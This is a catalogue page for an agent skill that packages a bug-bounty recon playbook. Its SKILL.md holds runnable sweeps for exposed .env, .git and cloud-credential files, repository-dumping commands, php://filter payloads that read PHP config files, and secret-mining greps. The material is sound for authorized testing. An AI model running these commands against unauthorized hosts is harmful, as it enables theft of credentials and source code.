Agent skill

Web2 Recon

by awarexone in awarexone/Agentic-Bug-Hunter

Web2 recon pipeline — subdomain enumeration (subfinder, Chaos API, assetfinder), live host discovery (dnsx, httpx), URL crawling (katana, waybackurls, gau), directory fuzzing (ffuf), JS analysis…

MITAuto-check: warningsSecurity

Install Web2 Recon

The automated check flagged lines worth reading first. See the safety section below.

skills CLI
$ npx skills add awarexone/Agentic-Bug-Hunter --skill web2-recon -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install awarexone/Agentic-Bug-Hunter web2-recon --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/awarexone/Agentic-Bug-Hunter.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/web2-recon .claude/skills/web2-recon && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
web2-recon
GitHub stars
5.3k
Used in
2 other repos
Token cost
~6.4k tokens
SKILL.md length
1,128 words
Files
1
Skills in repo
10
Repo updated
First seen
Licence
MIT

At a glance

Web2 recon pipeline — subdomain enumeration (subfinder, Chaos API, assetfinder), live host discovery (dnsx, httpx), URL crawling (katana, waybackurls, gau), directory fuzzing (ffuf), JS analysis…

  • Works in 5 steps: Max bounty < $500 → not worth your time → All recent reports are N/A or duplicate… → Scope is only a static marketing page →… → …
  • Starting recon on any web2 target
  • SKILL.md covers SETUP (one-time), THE 5-MINUTE RULE, STANDARD RECON PIPELINE and ATTACK SURFACE TRIAGE, plus 9 more sections
  • Calls curl, python3 and jq; reaches dns.projectdiscovery.io and api.github.com; needs CHAOS_API_KEY and DB_PASSWORD

What it does

Web2 Recon is an agent skill from awarexone/Agentic-Bug-Hunter. Web2 recon pipeline — subdomain enumeration (subfinder, Chaos API, assetfinder), live host discovery (dnsx, httpx), URL crawling (katana, waybackurls, gau), directory fuzzing (ffuf), JS analysis (LinkFinder, SecretFinder), continuous monitoring (new subdomain alerts, JS change detection, GitHub commit watch). Use when starting recon on any web2 target or when asked about asset discovery, subdomain enum, or attack surface mapping.

Its SKILL.md is about 6.4k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.

It sits in Security, covering Bug bounty, Threat modeling and Fuzzing. It works with GitHub. The repository describes itself as: AI-powered bug bounty hunting toolkit that works with or without subscription. The licence is MIT.

When your agent uses it

  • Starting recon on any web2 target
  • Asked about asset discovery
  • Attack surface mapping

Example prompts

  • “/web2-recon”

Requirements

  • Python 3
  • Node.js
  • A credential in CHAOS_API_KEY
  • A credential in YOUR_VT_KEY

Workflow steps

5 steps, taken from the first numbered list in SKILL.md.

  1. Max bounty < $500 → not worth your time
  2. All recent reports are N/A or duplicate → hunters saturated it
  3. Scope is only a static marketing page → no attack surface
  4. Company < 5 employees with no revenue → won't pay
  5. Explicitly excludes your planned bug class in rules

What it can do on your machine

Read from SKILL.md and the folder at commit cd58a40. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    Shell commands in SKILL.md call:

    • curl
    • python3
    • jq
    • git
    • pip
    • gh
    • wget
    • pipx
    • sqlite3
    • aws

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    Hosts in commands or code, which the agent is likely to contact:

    • dns.projectdiscovery.io
    • api.github.com
    • crt.sh
    • github.com

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names these keys or tokens, usually read from environment variables:

    • CHAOS_API_KEY
    • DB_PASSWORD
    • APP_KEY
    • AWS_SECRET
    • GITHUB_TOKEN

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Web2 Recon loads about 6.4k tokens when it runs. Until then it costs about 111 tokens; SKILL.md has 1,128 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~111
When it runs · the whole SKILL.md, loaded when a task matches
~6.4k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check: warnings

The automated check found patterns that need a careful read before installing.

  • NoteMentions a .env fileSKILL.md:384
    # org:TARGET_ORG .env
  • NoteMentions a .env fileSKILL.md:408
    /.bzr/branch-format /.DS_Store /.env /web.config /WEB-INF/web.xml \
  • NoteMentions a .env fileSKILL.md:533
    when they contain live secrets. A bare `.env` listing framework defaults is Info; one with a working DB password, cloud
  • NoteMentions a .env fileSKILL.md:537
    | `/.env` `/.env.local` `/.env.production` | Laravel / Node / Rails | `DB_PASSWORD`, `APP_KEY`, `AWS_*`, `STRIPE_*`, mai
  • WarningMentions a credentials file (SSH keys, cloud or package-manager tokens)SKILL.md:543
    | `/.aws/credentials` `/.npmrc` `/.dockercfg` | misc | cloud / registry tokens |
  • NoteMentions a .env fileSKILL.md:547
    for p in /.env /web.config /WEB-INF/web.xml /application.properties /appsettings.json \

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from awarexone/Agentic-Bug-Hunter at commit cd58a40, republished under its MIT licence (© awarexone). 1,128 words, ~6,401 tokens.

Download SKILL.mdSave it as .claude/skills/web2-recon/SKILL.md (or your agent's skills folder).
name
web2-recon
description
Web2 recon pipeline — subdomain enumeration (subfinder, Chaos API, assetfinder), live host discovery (dnsx, httpx), URL crawling (katana, waybackurls, gau), directory fuzzing (ffuf), JS analysis (LinkFinder, SecretFinder), continuous monitoring (new subdomain alerts, JS change detection, GitHub commit watch). Use when starting recon on any web2 target or when asked about asset discovery, subdomain enum, or attack surface mapping.

WEB2 RECON PIPELINE

Full asset discovery from nothing to a prioritized URL list ready for hunting.


SETUP (one-time)

bash
# 1. Set your Chaos API key (get free key at chaos.projectdiscovery.io)
export CHAOS_API_KEY="your-key-here"
# Add to ~/.zshrc or ~/.bashrc for persistence:
echo 'export CHAOS_API_KEY="your-key-here"' >> ~/.zshrc

# 2. Update nuclei templates (run weekly)
nuclei -update-templates

# 3. Configure subfinder with API keys for more sources
mkdir -p ~/.config/subfinder
cat > ~/.config/subfinder/config.yaml << 'EOF'
# Get free keys at: virustotal.com, securitytrails.com, censys.io, shodan.io
virustotal: [YOUR_VT_KEY]
securitytrails: [YOUR_ST_KEY]
censys_apiid: YOUR_CENSYS_ID
censys_secret: YOUR_CENSYS_SECRET
shodan: [YOUR_SHODAN_KEY]
EOF

# 4. Verify all tools installed
which subfinder httpx dnsx nuclei katana waybackurls gau dalfox ffuf anew gf interactsh-client

THE 5-MINUTE RULE

If a target shows nothing interesting after 5 minutes of recon, move on. Don't burn hours on dead surface.

5-minute kill signals:

  • All subdomains return 403 or static marketing pages
  • No API endpoints visible in URLs
  • No JavaScript bundles with interesting endpoint paths
  • nuclei returns 0 medium/high findings
  • No forms, no authentication, no user data

STANDARD RECON PIPELINE

Pre-Hunt: Always Run First
bash
TARGET="target.com"

# Step 0: Passive — crt.sh certificate transparency (no API key needed)
curl -s "https://crt.sh/?q=%.${TARGET}&output=json" \
  | jq -r '.[].name_value' \
  | sed 's/\*\.//g' \
  | sort -u > /tmp/subs.txt
echo "[+] crt.sh: $(wc -l < /tmp/subs.txt) subdomains"

# Step 1: Chaos API (ProjectDiscovery — most comprehensive source)
curl -s "https://dns.projectdiscovery.io/dns/$TARGET/subdomains" \
  -H "Authorization: $CHAOS_API_KEY" \
  | jq -r '.[]' >> /tmp/subs.txt

echo "[+] Chaos returned $(wc -l < /tmp/subs.txt) subdomains"

# Step 2: subfinder (passive multi-source)
subfinder -d $TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only $TARGET | anew /tmp/subs.txt

echo "[+] Total subdomains after all sources: $(wc -l < /tmp/subs.txt)"

# Step 3: DNS resolution + live host check
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect | tee /tmp/live.txt

echo "[+] Live hosts: $(wc -l < /tmp/live.txt)"

# Step 4: URL crawl
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -jc -kf all -silent | anew /tmp/urls.txt

# Step 5: Historical URLs
echo $TARGET | waybackurls | anew /tmp/urls.txt
gau $TARGET --subs | anew /tmp/urls.txt

echo "[+] Total URLs: $(wc -l < /tmp/urls.txt)"

# Step 6: Nuclei scan
nuclei -l /tmp/live.txt -t ~/nuclei-templates/ -severity critical,high,medium -o /tmp/nuclei.txt
Output to Organized Directory
bash
TARGET="target.com"
RECON_DIR="recon/$TARGET"
mkdir -p $RECON_DIR

# All outputs go here:
/tmp/subs.txt         → $RECON_DIR/subdomains.txt
/tmp/live.txt         → $RECON_DIR/live-hosts.txt
/tmp/urls.txt         → $RECON_DIR/urls.txt
/tmp/nuclei.txt       → $RECON_DIR/nuclei.txt

ATTACK SURFACE TRIAGE

Find Interesting Targets in URL List
bash
# Parameters worth testing
cat /tmp/urls.txt | grep -E "[?&](id|user|file|path|url|redirect|next|src|token|key|api_key)=" | tee /tmp/interesting-params.txt

# API endpoints
cat /tmp/urls.txt | grep -E "/api/|/v1/|/v2/|/v3/|/graphql|/rest/|/gql" | tee /tmp/api-endpoints.txt

# File upload endpoints
cat /tmp/urls.txt | grep -E "upload|file|attachment|document|image|avatar|photo|media" | tee /tmp/uploads.txt

# Admin/internal paths
cat /tmp/urls.txt | grep -E "/admin|/internal|/debug|/test|/staging|/dev|/management|/console" | tee /tmp/admin-paths.txt

# Authentication endpoints
cat /tmp/urls.txt | grep -E "/oauth|/login|/auth|/sso|/saml|/oidc|/callback|/token" | tee /tmp/auth-paths.txt
gf Patterns (Quick Classification)
bash
# Install gf patterns: https://github.com/tomnomnom/gf
cat /tmp/urls.txt | gf xss | tee /tmp/xss-candidates.txt
cat /tmp/urls.txt | gf ssrf | tee /tmp/ssrf-candidates.txt
cat /tmp/urls.txt | gf idor | tee /tmp/idor-candidates.txt
cat /tmp/urls.txt | gf sqli | tee /tmp/sqli-candidates.txt
cat /tmp/urls.txt | gf redirect | tee /tmp/redirect-candidates.txt
cat /tmp/urls.txt | gf lfi | tee /tmp/lfi-candidates.txt
cat /tmp/urls.txt | gf rce | tee /tmp/rce-candidates.txt

# User-controlled CSS surface (themes, profile pages, HTML email renderers,
# rich-text editors, PDF generators). gf has no pattern for this — grep manually:
cat /tmp/urls.txt | grep -iE "theme|profile|signature|customize|email|invoice|pdf|render|markdown" \
  | tee /tmp/css-injection-candidates.txt
# → if any hit, run web2-vuln-classes **CSS Injection**

JS ANALYSIS

SecretFinder (API keys, tokens in JS bundles)
bash
# Activate venv
source ~/tools/SecretFinder/.venv/bin/activate

# Scan a single JS file
python3 ~/tools/SecretFinder/SecretFinder.py -i "https://target.com/static/js/main.js" -o cli

# Scan all JS URLs found in recon
cat /tmp/urls.txt | grep "\.js$" | head -50 | while read url; do
  echo "=== $url ==="
  python3 ~/tools/SecretFinder/SecretFinder.py -i "$url" -o cli 2>/dev/null
done

deactivate
LinkFinder (Endpoints hidden in JS)
bash
source ~/tools/LinkFinder/.venv/bin/activate

# Single JS file
python3 ~/tools/LinkFinder/linkfinder.py -i "https://target.com/app.js" -o cli

# All pages (crawls JS from HTML)
python3 ~/tools/LinkFinder/linkfinder.py -i "https://target.com" -d -o cli

deactivate

DIRECTORY FUZZING

ffuf — Standard Fuzzing
bash
# Directory discovery on a live host
ffuf -u "https://target.com/FUZZ" \
     -w ~/wordlists/common.txt \
     -mc 200,201,204,301,302,307,401,403 \
     -ac \
     -t 40 \
     -o /tmp/ffuf-dirs.json

# API endpoint discovery
ffuf -u "https://target.com/api/FUZZ" \
     -w ~/wordlists/api-endpoints.txt \
     -mc 200,201,204,301,302 \
     -ac \
     -t 20

# IDOR fuzzing with authenticated request
# Create req.txt with Authorization: Bearer TOKEN
ffuf -request /tmp/req.txt \
     -request-proto https \
     -w <(seq 1 10000) \
     -fc 404 \
     -ac \
     -t 10

TARGET SCORING — GO / NO-GO

Score before spending time. Skip if score < 4.

CriterionPoints
Max bounty >= $5K+2
Large user base (>100K) or handles money+2
Program launched < 60 days ago+2
Complex features: API, OAuth, file upload, GraphQL+1
Recent code/feature changes (GitHub, changelog)+1
Private program (less competition)+1
Tech stack you know+1
Source code available+1
Prior disclosed reports to study+1

< 4: Skip 4-5: Only if nothing better available 6-8: Good — spend 1-3 days >= 9: Excellent — spend up to 1 week

Pre-Dive Hard Kill Signals
  1. Max bounty < $500 → not worth your time
  2. All recent reports are N/A or duplicate → hunters saturated it
  3. Scope is only a static marketing page → no attack surface
  4. Company < 5 employees with no revenue → won't pay
  5. Explicitly excludes your planned bug class in rules

TECH STACK DETECTION (2 min)

bash
# Response headers reveal backend
curl -sI https://target.com | grep -iE "server|x-powered-by|x-aspnet|x-runtime|x-generator"

# Common signals:
# Server: nginx + X-Powered-By: PHP/7.4 → PHP backend
# Server: gunicorn OR X-Powered-By: Express → Python/Node.js
# X-Powered-By: ASP.NET → .NET
# Server: Apache Tomcat → Java
# X-Runtime: Ruby → Ruby on Rails

# Framework from JS bundle paths:
# /_next/static/ → Next.js
# /static/js/main.chunk.js → CRA (React)
# /packs/ → Ruby on Rails + Webpacker
# /__nuxt/ → Nuxt.js (Vue)
Stack → Primary Bug Class Map
StackHunt FirstHunt Second
Ruby on RailsMass assignmentIDOR (:id routes)
DjangoIDOR (ModelViewSet, no object perms)SSTI (mark_safe)
FlaskSSTI (render_template_string)SSRF (requests lib)
LaravelMass assignment ($fillable)IDOR (Eloquent, no ownership)
Express (Node.js)Prototype pollutionPath traversal + debug surface (/_debug, /__debug__) → web2-vuln-classes "Error Disclosure / Debug Endpoints"
Spring BootActuator endpoints → web2-vuln-classes "Error Disclosure / Debug Endpoints" for full surfaceSSTI (Thymeleaf)
ASP.NETViewState deserialization (if encrypted, also test padding-oracle path → web2-vuln-classes Padding Oracle & Crypto Misuse)Open redirect (ReturnUrl)
Next.jsSSRF via Server Actions + /_next/data/ / /_next/static/chunks/ → web2-vuln-classes "Error Disclosure / Debug Endpoints"Open redirect via redirect()
GraphQLIntrospection → auth bypass on mutationsIDOR via node(id:)
WordPressPlugin SQLiREST API auth bypass
SPA frameworks (React / Vue / Svelte / Angular)DOM XSS sinks via state/router → web2-vuln-classes section 3 "postMessage Testing" for cross-frame entry pointsClient-side route auth bypass (role check only in JS)

CONTINUOUS MONITORING SETUP

Set up once per target. Alerts you before other hunters.

New Subdomain Alerts (daily cron)
bash
#!/bin/bash
TARGET="target.com"
KNOWN="/tmp/$TARGET-subs-known.txt"

subfinder -d $TARGET -silent > /tmp/$TARGET-subs-fresh.txt
curl -s "https://dns.projectdiscovery.io/dns/$TARGET/subdomains" \
  -H "Authorization: $CHAOS_API_KEY" \
  | jq -r '.[]' >> /tmp/$TARGET-subs-fresh.txt

# Diff against known
NEW=$(comm -23 <(sort /tmp/$TARGET-subs-fresh.txt) <(sort $KNOWN 2>/dev/null))

if [ -n "$NEW" ]; then
  echo "NEW SUBDOMAINS: $NEW"
  echo "$NEW" >> $KNOWN
fi

# Schedule: crontab -e → 0 8 * * * /bin/bash ~/monitors/subs-watch.sh
GitHub Commit Watch
bash
#!/bin/bash
REPO="TargetOrg/target-app"
LAST_SHA="/tmp/$REPO-last-sha.txt"

CURRENT=$(curl -s "https://api.github.com/repos/$REPO/commits?per_page=1" | jq -r '.[0].sha')
KNOWN=$(cat $LAST_SHA 2>/dev/null)

if [ "$CURRENT" != "$KNOWN" ]; then
  echo "New commit on $REPO: $CURRENT"
  echo $CURRENT > $LAST_SHA
  # Get changed files
  curl -s "https://api.github.com/repos/$REPO/commits/$CURRENT" \
    | jq -r '.files[].filename' | grep -E "auth|middleware|route|permission|role|admin"
fi

# Schedule: */30 * * * * /bin/bash ~/monitors/github-watch.sh

PORT SCANNING (often skipped — don't skip)

bash
# naabu — fast port scanner from ProjectDiscovery
# Finds non-standard ports: 8080, 8443, 3000, 8888, 9000, etc.
cat /tmp/live.txt | awk '{print $1}' | naabu -port 80,443,8080,8443,3000,4000,5000,8000,8888,9000,9090,9200,6379 -silent | tee /tmp/open-ports.txt

# Why this matters: admin panels, debug services, internal APIs often run on alt ports
# Example wins: :8080/actuator/env (Spring Boot), :9200/_cat/indices (Elasticsearch), :6379 (Redis)

SECRET SCANNING IN JS BUNDLES

bash
# trufflehog — high-signal secret detection with entropy analysis
# Scans JS files and git repos
pip install trufflehog3 2>/dev/null || true
trufflehog filesystem --only-verified recon/$TARGET/ 2>/dev/null

# SecretFinder — manual JS bundle scan (already in tools/)
source ~/tools/SecretFinder/.venv/bin/activate
cat /tmp/urls.txt | grep "\.js$" | head -100 | while read url; do
  python3 ~/tools/SecretFinder/SecretFinder.py -i "$url" -o cli 2>/dev/null
done
deactivate

# Quick grep for common patterns in downloaded JS
wget -q -r -l 1 -A "*.js" -P /tmp/js-files/ "https://$TARGET" 2>/dev/null
grep -rn "api_key\|apiKey\|client_secret\|access_token\|private_key\|AWS_SECRET\|AKIA" /tmp/js-files/ 2>/dev/null

GITHUB DORKING FOR TARGET

bash
# Search GitHub for hardcoded secrets before hunting the app
TARGET_ORG="TargetOrgName"  # Check their GitHub org

# Useful dorks (search on github.com):
# org:TARGET_ORG password
# org:TARGET_ORG api_key
# org:TARGET_ORG "Authorization: Bearer"
# org:TARGET_ORG .env
# org:TARGET_ORG "BEGIN RSA PRIVATE KEY"

# CLI with gh (GitHub CLI):
gh search code "api_key" --owner "$TARGET_ORG" --json path,repository 2>/dev/null | jq '.'
gh search code "password" --owner "$TARGET_ORG" --json path,repository 2>/dev/null | head -20

# GitDorker (if installed):
python3 ~/tools/GitDorker/GitDorker.py -t GITHUB_TOKEN -d ~/tools/GitDorker/Dorks/alldorksv3 -q "$TARGET" -org

SOURCE DISCLOSURE & EXTRACTION

Recovering an app's source code is one of the highest-leverage recon moves: it converts blind black-box hunting into white-box review. A bare directory-listing or exposed file is usually Low/Info on its own — it becomes Medium/High/Critical the moment the recovered source yields hardcoded secrets, a confirmed injectable sink, or auth logic you can now bypass with certainty.

Disclosure is not the bug. The bug is what the disclosure enables. Always ask: "With this source/config in hand, can I prove a concrete attack RIGHT NOW?" If the dump is empty or contains only public framework code, it's an N/A — kill it.

Triage scan — fire these against every live host first
bash
# One-shot probe of the highest-signal disclosure paths across all live hosts.
# Only 200s with non-empty bodies are worth a human look.
for host in $(awk '{print $1}' /tmp/live.txt); do
  for p in /.git/HEAD /.git/config /.svn/wc.db /.svn/entries /.hg/requires \
           /.bzr/branch-format /.DS_Store /.env /web.config /WEB-INF/web.xml \
           /application.properties /config.php.bak /backup.zip /.git/logs/HEAD; do
    code=$(curl -s -o /dev/null -w "%{http_code}" "$host$p")
    [ "$code" = "200" ] && echo "[HIT] $code  $host$p"
  done
done | tee /tmp/disclosure-hits.txt

# nuclei has curated templates for this — run alongside the manual sweep
nuclei -l /tmp/live.txt -tags exposure,config,git,backup -severity info,low,medium,high -o /tmp/exposure.txt
Exposed VCS — dump it, don't just report the 200

A reachable .git/ (or .svn/.hg/.bzr) lets you reconstruct the entire repo + commit history — and history is where deleted secrets, old credentials, and removed debug endpoints live. Reporting ".git/HEAD returns 200" with no dump is a weak Low; reporting the recovered source + a secret pulled from it is a strong finding.

bash
# --- Git (most common) ---
# git-dumper reconstructs the working tree even when directory listing is OFF.
pipx install git-dumper   # or: pip install git-dumper
git-dumper "https://target.com/.git/" /tmp/dump-target
# Then mine the recovered repo:
cd /tmp/dump-target
git log --all --oneline                 # every commit, including reverted ones
git log -p --all | grep -iE "password|secret|api[_-]?key|token|BEGIN .*PRIVATE KEY"
git show $(git rev-list --all)          # walk objects if checkout is partial

# GitTools (alt) — gitdumper.sh grabs objects, extractor.sh rebuilds commits
# Useful when git-dumper chokes on a broken index:
~/tools/GitTools/Dumper/gitdumper.sh "https://target.com/.git/" /tmp/dump-gt
~/tools/GitTools/Extractor/extractor.sh /tmp/dump-gt /tmp/dump-gt-src

# Quick sanity test before dumping: is the pack/objects tree actually served?
curl -s "https://target.com/.git/config"            # remote URL → confirms real repo
curl -s "https://target.com/.git/logs/HEAD"         # ref log → commit SHAs to pull

# --- SVN ---
# SVN 1.7+ stores everything in a single SQLite DB. Pull it, then read pristine blobs.
curl -s "https://target.com/.svn/wc.db" -o /tmp/wc.db
sqlite3 /tmp/wc.db "SELECT local_relpath, checksum FROM NODES;"   # file list + blob hashes
# Pristine objects live at /.svn/pristine/<2-char>/<sha1>.svn-base
# SVN ≤1.6 instead exposes /.svn/entries (plaintext file list) + /.svn/text-base/*.svn-base
# Tooling: svn-extractor / dvcs-ripper rip-svn

# --- Mercurial (.hg) and Bazaar (.bzr) ---
# Confirm presence then dump with dvcs-ripper:
curl -s "https://target.com/.hg/requires"           # hg fingerprint
curl -s "https://target.com/.bzr/branch-format"     # bzr fingerprint
~/tools/dvcs-ripper/rip-hg.pl  -v -u https://target.com/.hg/
~/tools/dvcs-ripper/rip-bzr.pl -v -u https://target.com/.bzr/

If the repo dumps but contains only vendored framework code with no secrets and no app logic, that's an Info disclosure at best. Don't pad your N/A ratio — chain it to a real secret/sink or drop it.

.DS_Store — recursive directory map without brute force

macOS drops a .DS_Store in committed folders; deployed to a web root it leaks the exact filenames in each directory. Recurse it to map hidden admin panels, backup files, and source paths that ffuf would never guess.

bash
# ds_store_exp parses each .DS_Store, then fetches and recurses into the names it finds.
pip install ds-store           # provides the parser
python3 ~/tools/ds_store_exp/ds_store_exp.py "https://target.com/.DS_Store"
# It writes the recovered tree to ./<target>/ — grep it for the good stuff:
grep -rilE "backup|admin|config|\.sql|\.zip|\.bak|internal|test" ./target.com/

# Manual parse if you only have one file (no listing/recursion):
curl -s "https://target.com/.DS_Store" -o /tmp/dsstore && strings /tmp/dsstore | sort -u
# Each readable name is a real sibling file/dir → feed back into the triage scan.
Show full SKILL.md (432 more words)Show less
Backup / temp / swap file fuzzing

Editors and lazy deploys leave shadow copies that bypass the interpreter and serve raw source. index.php.bak or .index.php.swp returns plaintext PHP that a normal index.php request would execute and hide.

bash
# Build a candidate list from paths you already know (live URLs + recovered source).
# Mutate each known file with backup/temp extensions, then ffuf against the host.
cat /tmp/urls.txt | unfurl paths | sort -u > /tmp/known-paths.txt

# ffuf: fuzz the EXTENSION on a known basename (e.g. config)
ffuf -u "https://target.com/configFUZZ" \
     -w <(printf '%s\n' .bak .old .orig .save .swp .swo .tmp .txt '~' .1 .copy .inc .dist .sample) \
     -mc 200 -ac -t 20

# ffuf: append archive extensions to the bare hostname + common roots (full-site dumps)
ffuf -u "https://target.com/FUZZ" \
     -w <(for n in backup bkp www web site app source release dist html public_html "$(echo target)"; do
            for e in .zip .tar.gz .tar .rar .7z .tgz .sql .sql.gz; do echo "$n$e"; done; done) \
     -mc 200 -ac -fs 0 -t 20      # -fs 0 drops empty 200s

# Vim swap recovery: .<name>.swp → recover original with vim -r
curl -s "https://target.com/.index.php.swp" -o /tmp/index.php.swp && vim -r /tmp/index.php.swp

# SecLists has purpose-built lists — prefer them over hand-rolling at scale:
#   Discovery/Web-Content/BackupFiles.fuzz.txt   (FUZZ-templated, mutates basenames)
#   Discovery/Web-Content/raft-large-files.txt
ffuf -u "https://target.com/FUZZ" -w ~/wordlists/SecLists/Discovery/Web-Content/BackupFiles.fuzz.txt \
     -mc 200 -ac -fs 0 -t 30
PHP source read — php://filter and .phps

If you have an LFI / file-include sink (a ?page=, ?file=, ?template= parameter — see the LFI candidates from gf), you can read PHP source instead of executing it by base64-wrapping it through php://filter. Recovered source then feeds straight into vuln hunting (find the real RCE/SQLi sink).

bash
# Base64-encode the target file so the interpreter returns source, not executed output.
curl -s "https://target.com/?page=php://filter/convert.base64-encode/resource=index.php" \
  | grep -oE '[A-Za-z0-9+/=]{40,}' | base64 -d        # → raw index.php source

# Read config files holding DB creds / API keys (this is what escalates severity):
curl -s "https://target.com/?page=php://filter/convert.base64-encode/resource=config.php" \
  | grep -oE '[A-Za-z0-9+/=]{40,}' | base64 -d

# If allow_url_include is on, php://filter can also chain to RCE — note it, then test
# carefully under program rules (see SSRF / file-include classes in web2-vuln-classes).

# .phps — some servers map .phps to a syntax-highlighted source view. Try it on every
# script you can name (no LFI needed):
curl -s "https://target.com/index.phps" -o /tmp/index.phps   # serves highlighted source
for f in index config admin login db; do
  curl -s -o /dev/null -w "%{http_code} $f.phps\n" "https://target.com/$f.phps"
done
Env / config leaks — credentials in the open

These files map 1:1 to a payout when they contain live secrets. A bare .env listing framework defaults is Info; one with a working DB password, cloud key, or signing secret is High/Critical (verify the key works — see SECRET SCANNING IN JS BUNDLES for verification flow).

FileStackWhat's inside (escalation)
/.env /.env.local /.env.productionLaravel / Node / RailsDB_PASSWORD, APP_KEY, AWS_*, STRIPE_*, mail creds
/web.config /connectionStrings.configASP.NET / IISDB connection strings, machineKey (→ ViewState RCE — see padding-oracle class)
/WEB-INF/web.xml /WEB-INF/classes/*.propertiesJava / Springjdbc.properties, datasource creds, internal servlet mappings
/application.properties /application.ymlSpring BootDB creds, management.endpoints exposure (→ Actuator, see Error Disclosure / Debug Endpoints)
/config.php /wp-config.php /configuration.phpPHP / WP / JoomlaDB creds, auth salts, secret keys
/appsettings.json /secrets.json.NET Coreconnection strings, JWT signing keys, client secrets
/.aws/credentials /.npmrc /.dockercfgmisccloud / registry tokens
bash
# Pull each candidate and immediately scan the body for live-looking secrets.
for p in /.env /web.config /WEB-INF/web.xml /application.properties /appsettings.json \
         /config.php /wp-config.php /configuration.php /.git/config; do
  body=$(curl -s "https://target.com$p")
  echo "$body" | grep -iqE "password|secret|api[_-]?key|aws|jdbc|connectionstring|begin .*private key" \
    && echo "[SECRET?] https://target.com$p"
done

# WEB-INF/web.xml is shielded by the servlet container — usually only reachable via a
# path-traversal/LFI sink, NOT a direct request. If you can read it, you almost certainly
# have a traversal bug worth far more than the disclosure itself.
What to do with recovered source — turn the dump into the bug

Recon hands you the source; the payout comes from the review. Run this on any recovered repo/config:

bash
SRC=/tmp/dump-target

# 1) Secrets in tracked files AND in git history (deleted ≠ gone)
trufflehog filesystem --only-verified "$SRC"
git -C "$SRC" log -p --all 2>/dev/null | grep -iE "password|secret|api[_-]?key|token|AKIA|-----BEGIN"

# 2) Dangerous sinks → confirm an injectable path, then test it live
grep -rnE "eval\(|assert\(|system\(|exec\(|popen\(|unserialize\(|pickle\.loads|yaml\.load|Runtime\.exec" "$SRC"
grep -rnE "(SELECT|INSERT|UPDATE).+\\\$_(GET|POST|REQUEST)|\\.format\(.*request|f\"SELECT" "$SRC"   # SQLi candidates
grep -rnE "include|require|render_template_string|fopen\(.*\\\$_" "$SRC"                            # LFI / SSTI

# 3) Auth logic you can now bypass with certainty (hardcoded checks, weak JWT secret,
#    debug flags, default admin creds, IP allowlists, signature verification gaps)
grep -rniE "debug *= *true|is_admin|jwt.*secret|verify=False|disable.*auth|backdoor|TODO|FIXME" "$SRC"

# 4) Internal hostnames / endpoints not in your URL list → new attack surface (+ SSRF targets)
grep -rohE "https?://[a-zA-Z0-9.-]+(:[0-9]+)?(/[^\"' ]*)?" "$SRC" | sort -u

Severity ladder for a report: path returns 200 = Info → recovered full source = Low → + verified secret OR confirmed exploitable sink (SQLi/RCE/auth bypass) = High/Critical. Submit at the top of the ladder you can prove, never the bottom.

Pattern seen on HackerOne / Bugcrowd: exposed .git directories dumped to full source, then mined for hardcoded credentials in commit history → account takeover / admin access (e.g. the U.S. DoD .git exposure report, hackerone.com/reports/1624157). .DS_Store recursion has paid out for revealing backup archives and debug-mode internal panels that direct fuzzing missed. Do not invent dollar figures — frame the impact, prove the chain, and let the program set the bounty.


30-MINUTE RECON PROTOCOL

Minutes 0-5: Read Program Page
Note:
- ALL in-scope assets (every domain listed)
- Out-of-scope list (read carefully — common trap)
- Safe harbor statement
- Impact types accepted (some exclude "low")
- Average bounty amount (signals program generosity)
Minutes 5-15: Asset Discovery

Run the standard pipeline above. Focus on live.txt output.

Minutes 15-25: Surface Map

Run gf patterns and the interesting-params grep above.

Minutes 25-30: Manual Exploration

Open Burp Suite. Browse the app with proxy on:

  1. Register an account
  2. Perform main user actions (create/read/update/delete resources)
  3. Note all API calls in Burp history
  4. Look for endpoints not in your URL list
After 30 min: Prioritize
Priority 1: API endpoints with ID parameters → IDOR candidates
Priority 2: File upload features → XSS/RCE candidates
Priority 3: OAuth/SSO flows → auth bypass candidates
Priority 4: Search/filter with user input → SQLi/SSRF/SSTI candidates
Priority 5: Admin/debug endpoints → auth bypass candidates

© awarexone, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

Just SKILL.md in skills/web2-recon of awarexone/Agentic-Bug-Hunter.

Open the folder on GitHubat commit cd58a40

Used in 2 other repositories

We found 2 copies of this SKILL.md (exact, near-identical or edited) in other folders, from 2 other GitHub owners. This page covers the copy in awarexone/Agentic-Bug-Hunter, which our catalogue first saw on October 7, 2026.

Compare with similar skills

Web2 Recon next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Web2 Recon compared with similar skills
SkillStarsUsed inTokensAuto-checkLicenceRepo updated
Web2 Recon this skillawarexone/Agentic-Bug-Hunter5.3k2 repos~6.4kAutomated safety check: WarnMIT
CybersecurityAgriciDaniel/claude-cybersecurity227—~11kAutomated safety check: WarnMIT
ClusterfuzzliteInternationalColorConsortium/iccDEV183—~1.5kAutomated safety check: PassBSD-3-Clause
Audit Context Buildingtrailofbits/skills7.4k—~996Automated safety check: PassCC-BY-SA-4.0
Recon Osinthypnguyen1209/offensive-claude386—~2.2kAutomated safety check: PassMIT
